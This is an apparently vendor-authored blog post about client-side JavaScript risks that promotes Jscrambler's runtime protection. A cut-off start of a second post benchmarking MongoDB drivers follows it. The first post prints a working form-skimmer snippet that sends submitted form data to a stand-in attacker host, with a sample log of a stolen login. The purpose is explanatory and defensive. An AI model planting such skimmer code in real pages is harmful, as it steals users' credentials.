&lt;p&gt;Application security guides such as those from OWASP highlight the threats posed by reverse engineering and tampering with application source code, especially in applications that handle sensitive data or perform critical operations.&lt;/p&gt;

&lt;p&gt;This is precisely the case of JavaScript-powered applications, where these risks can be leveraged in the form of various attacks such as intellectual property theft, automated abuse, piracy, and data exfiltration. (For more details on these key business risks, see our blog post on “&lt;a href="https://blog.jscrambler.com/enterprise-javascript-opportunities-threats-solutions/?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=protect-client-side-javascript"&gt;Enterprise JavaScript: Opportunities, Threats, Solutions&lt;/a&gt;”.)&lt;/p&gt;

&lt;p&gt;Regulations and standards such as NIST and ISO 27001 also mention these risks of having unprotected source code, recommending that organizations put in place strict control procedures to keep them from experiencing the consequences of possible attacks.&lt;/p&gt;

&lt;p&gt;To illustrate these risks, imagine the following code snippet:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;div id="hack-target"&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;button&amp;gt;Set Value&amp;lt;/button&amp;gt;

&amp;lt;script&amp;gt;
    document.querySelector('button').addEventListener('click', setValue);

    function setValue() {
        var value = '2';
        document.getElementById('hack-target').innerText = value;
    }
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This declares a target in HTML and wires up events. When you click the button, the callback fires.&lt;/p&gt;

&lt;p&gt;With client-side JavaScript, you can set a breakpoint right where it sets the value. This breakpoint gets hit right as the event fires. The value that gets set through &lt;code&gt;var value = '2';&lt;/code&gt; can change at will. The debugger halts execution and allows a person to tamper with the page. This capability is helpful when it comes to debugging and the browser does not raise any flags while this is happening.&lt;/p&gt;

&lt;p&gt;Since the debugger halts the execution, it has the power to halt page rendering too. Debugging is part of the tooling inside the browser so any person gets access to this.&lt;/p&gt;

&lt;p&gt;To see this technique in action check out this code on &lt;a href="https://codepen.io/jscrambler/pen/EJZNaG" rel="noopener noreferrer"&gt;Code Pen&lt;/a&gt; available. Below is a screenshot of the debugging:&lt;/p&gt;

&lt;center&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.jscrambler.com%2Fcontent%2Fimages%2F2016%2F12%2Fhacking-the-dom.jpg" alt="Hacking The DOM"&gt;&lt;/center&gt;

&lt;p&gt;So, we know that this feature is great for debugging JavaScript, but how can it impact secure JavaScript code?&lt;/p&gt;

&lt;p&gt;Just like anyone can use the debugging tool for legitimate purposes, an attacker can use this feature to change JavaScript at runtime. The attacker can hit a breakpoint, change the DOM and enter arbitrary JavaScript in the console. This kind of attack can be used to exploit possible security flaws on the client-side. The attacker can change the data, hijack the session and make arbitrary JavaScript changes on the page, therefore compromising the security of the original code. Or, as OWASP &lt;a href="https://owasp.org/www-project-mobile-top-10/2016-risks/m8-code-tampering" rel="noopener noreferrer"&gt;puts it&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;An attacker can either directly modify the code, change the contents of memory dynamically, change or replace the system APIs that the application uses, or modify the application’s data and resources. This can provide the attacker a direct method of subverting the intended use of the software for personal or monetary gain.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;For example, with the Web Developer Tools opened, anyone can go to the Console tab and enter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;document.querySelector('button').addEventListener('click', function() {
    alert('sacked');
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The next time this event fires, it will fire this JavaScript change. Can you feel the bitter taste of danger?&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Data Exfiltration and Other Client-Side Attacks
&lt;/h2&gt;

&lt;p&gt;Going beyond the security risks of attackers targeting the JavaScript source code itself, we must still consider the dangers of arbitrary JavaScript execution in the browser.&lt;/p&gt;

&lt;p&gt;We have been seeing a growing surge of web supply chain attacks such as Magecart attacks flooding the web and leveraging the client-side to exfiltrate data. To put this into perspective let's take a look at an example.&lt;/p&gt;

&lt;p&gt;Let's say that somehow (this has already happened before) your CDN gets compromised and the &lt;code&gt;jQuery&lt;/code&gt; script you're including on your website is modified, adding the snippet below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;form&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;submit&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;FormData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;entries&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://attackers.site.com/?&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;})})}();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It’s very likely that you won’t notice this change—and your website will be distributing malware.&lt;/p&gt;

&lt;p&gt;Now, let's try a more readable version of the same snippet:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;form&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;submit&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="nx"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;FormData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;entries&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="nx"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;d&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
            &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://attackers.site.com/?&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;}();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can understand its logic as follows:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;For every &lt;code&gt;form&lt;/code&gt; on the page,&lt;/li&gt;
&lt;li&gt;a &lt;code&gt;submit&lt;/code&gt; event handler is added, so that when triggered,&lt;/li&gt;
&lt;li&gt;form data is collected and rewritten using Query String format,&lt;/li&gt;
&lt;li&gt;which is then appended to the new &lt;code&gt;Image&lt;/code&gt; resource source URL.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Ok, so let's make is clear: everytime a form is submitted, the exact same data is sent to a remote server (&lt;code&gt;attackers.site.com&lt;/code&gt;), requesting what is supposed to be an image resource.&lt;/p&gt;

&lt;p&gt;Then, the owners of &lt;code&gt;attackers.site.com&lt;/code&gt; will receive the data on their access log:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;79.251.209.237 - - [13/Mar/2017:15:26:14 +0100] "GET /?email=john.doe@somehost.com&amp;amp;pass=k284D5B178Ho7QA HTTP/1.1" 200 4 "https://www.your-website.com/signin" "Mozilla/5.0 (Macintosh; In      tel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And as a result, your website will be silently leaking user data right into the hands of attackers, even without any breach to your own server. This is the reason why web supply chain attacks are such a significant threat today, as regulations like GDPR/CCPA/HIPAA impose huge penalties following user data leakage.&lt;/p&gt;

&lt;h1&gt;
  
  
  How to protect JavaScript on the client-side?
&lt;/h1&gt;

&lt;h2&gt;
  
  
  1. JavaScript Code Protection
&lt;/h2&gt;

&lt;p&gt;With the flexible and dynamic nature of the web, to protect JavaScript code from potential attackers, the best option is to add runtime protection. This security layer will protect JavaScript code during execution in order to avoid tampering, providing the most effective level of protection for client-side applications. As &lt;a href="https://www.gartner.com/it-glossary/runtime-application-self-protection-rasp/" rel="noopener noreferrer"&gt;explained by Gartner&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Runtime application self-protection is a security technology that is built or linked into an application or application runtime environment and is capable of controlling application execution, detecting, and preventing real-time attacks.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Once JavaScript hits the browser, there is nothing to shield its execution completely. Runtime protection will guard against debugging and code tampering attacks that only happen at runtime. This will include attacks that modify the application while it is offline. A good runtime protection  solution will also &lt;a href="https://blog.jscrambler.com/javascript-obfuscation-the-definitive-guide/?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=protect-client-side-javascript"&gt;obfuscate&lt;/a&gt; the code to where an attacker canʼt tamper with the solution itself, nor simply go around it. &lt;/p&gt;

&lt;p&gt;All these layers of protection are meant to guarantee that you have secure JavaScript code running on the web, despite attackers' efforts to tamper with it. A robust runtime protection solution will also send notifications when an attacker attempts to thwart the code. This allows application owners to react and take action, for example by terminating the user session.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jscrambler.com/code-integrity?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=protect-client-side-javascript"&gt;Jscrambler&lt;/a&gt; Code Integrity offers a runtime protection solution that protects applications against runtime attacks. It combines anti-debugging and anti-tampering techniques alongside other self-defensive capabilities to provide active protection for JavaScript applications. Specifically:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Anti-debugging detects the use of debugging tools (e.g. DevTools, Firebug) and breaks the debugger to stop the reverse engineering process. This is achieved with code traps and dead objects  that make the debugging tools stop working and make the call stack grow, keeping the user from inspecting the app’s control flow. &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Control-flow flattening, as the name implies, flattens the program flow, adds opaque predicates and irrelevant code clones. As a result, every single natural conditional construct that makes the code easier to read is gone.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Anti-tampering detects code changes and reacts accordingly. For instance, if you add/remove a single semicolon from a function protected with Jscrambler’s Self-defending feature, it will detect that change and make the code stop working. Both techniques together with code obfuscation make it infeasible for an attacker to tamper with the application.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can &lt;a href="https://jscrambler.com/signup?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=protect-client-side-javascript"&gt;start trying our solution&lt;/a&gt; for free now. &lt;/p&gt;

&lt;h2&gt;
  
  
  2. Client-Side Protection
&lt;/h2&gt;

&lt;p&gt;The typical JavaScript development process often relies on the use of open source components that speed up the development. Additionally, most websites end up running several third-party scripts (chatbots, analytics, ads, etc.) at runtime.&lt;/p&gt;

&lt;p&gt;The reality of using all these externally sourced pieces of code is that the attack surface for client-side attacks drastically increases. &lt;/p&gt;

&lt;p&gt;Since traditional security systems (server-side security, network security) don’t address the client-side, to tackle these growing threats, companies need complete visibility and control over their website’s client-side.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jscrambler.com/webpage-integrity?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=protect-client-side-javascript"&gt;Jscrambler Webpage Integrity&lt;/a&gt;  provides full-featured client-side protection against client-side attacks like Magecart web skimmers and data exfiltration. Specifically:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Full &lt;strong&gt;real-time observability&lt;/strong&gt; of the behavior of every single third-party script; this means knowing if it loads/injects more code, if it is sending data out and where to, if it’s accessing form data, cookies, and local storage, if it’s mutating the DOM, etc.&lt;/li&gt;
&lt;li&gt;A comprehensive &lt;strong&gt;inventory&lt;/strong&gt; of all these website scripts and the network requests that they are doing;&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;powerful rules engine&lt;/strong&gt; that grants flexible and granular control over the behavior of each script. This allows automatically blocking disallowed behaviors such as tampering with other code in the web page, accessing the “password” field of a login form, accessing cookies or local storage, contacting certain domains, etc.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To get started with Jscrambler Webpage Integrity, request a &lt;a href="https://jscrambler.com/free-website-inventory-report?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=protect-client-side-javascript"&gt;Free Inventory Report&lt;/a&gt; of your website. This report provides a snapshot of every third-party script running on your website and their behavior broken down into actionable security insights.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Since JavaScript powers most of the web (including websites that handle extremely sensitive user data), and since it is naturally a dynamic language for the web that got built for flexibility, it poses additional concerns in terms of security. Like any good double-edged sword, you must wield this with responsibility. So, In order to protect JavaScript code, you must take into account what happens at runtime.&lt;/p&gt;

&lt;p&gt;In order to protect JavaScript code, you must take into account what happens at runtime, both because attackers can target your exposed source code and because they can inject malicious JavaScript code through your third-party scripts.&lt;/p&gt;

&lt;p&gt;Tackling both these dimensions successfully puts you ahead of attackers and on the right path to compliance.&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>security</category>
    </item>
    <item>
      <title>MongoDB Native Driver vs Mongoose: Performance Benchmarks</title>
      <dc:creator>Jscrambler</dc:creator>
      <pubDate>Fri, 18 Dec 2020 10:32:57 +0000</pubDate>
      <link>https://forem.com/jscrambler/mongodb-native-driver-vs-mongoose-performance-benchmarks-29hb</link>
      <guid>https://forem.com/jscrambler/mongodb-native-driver-vs-mongoose-performance-benchmarks-29hb</guid>
      <description>&lt;p&gt;The time has come to put the native driver and mongoose to the test and benchmark how each one performs.&lt;/p&gt;

&lt;p&gt;Mongoose is a huge help with MongoDB and offers a bunch of useful features in Node. For performance-sensitive code, is this the best choice? In this take, we’ll dive into benchmarks via the &lt;a href="http://httpd.apache.org/docs/current/programs/ab.html"&gt;Apache Benchmark&lt;/a&gt; to measure data access strategies.&lt;/p&gt;

&lt;h2&gt;
  
  
  Set Up
&lt;/h2&gt;

&lt;p&gt;We will use Express to make benchmarks a bit more real since it’s &lt;a href="https://www.fastify.io/benchmarks/"&gt;one of the fastest&lt;/a&gt;. Only relevant code will be posted but feel free to check out the entire &lt;a href="https://github.com/JscramblerBlog/native-mongoose-mongo-db"&gt;repo on GitHub&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;With the native driver, this POST endpoint creates a new resource:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;nativeApp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;native&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;insertOne&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;number&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;lastUpdated&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Location&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ops&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;201&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ops&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note there is a &lt;code&gt;req.db&lt;/code&gt; object available, which ties into a native database collection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;nativeApp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;use&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
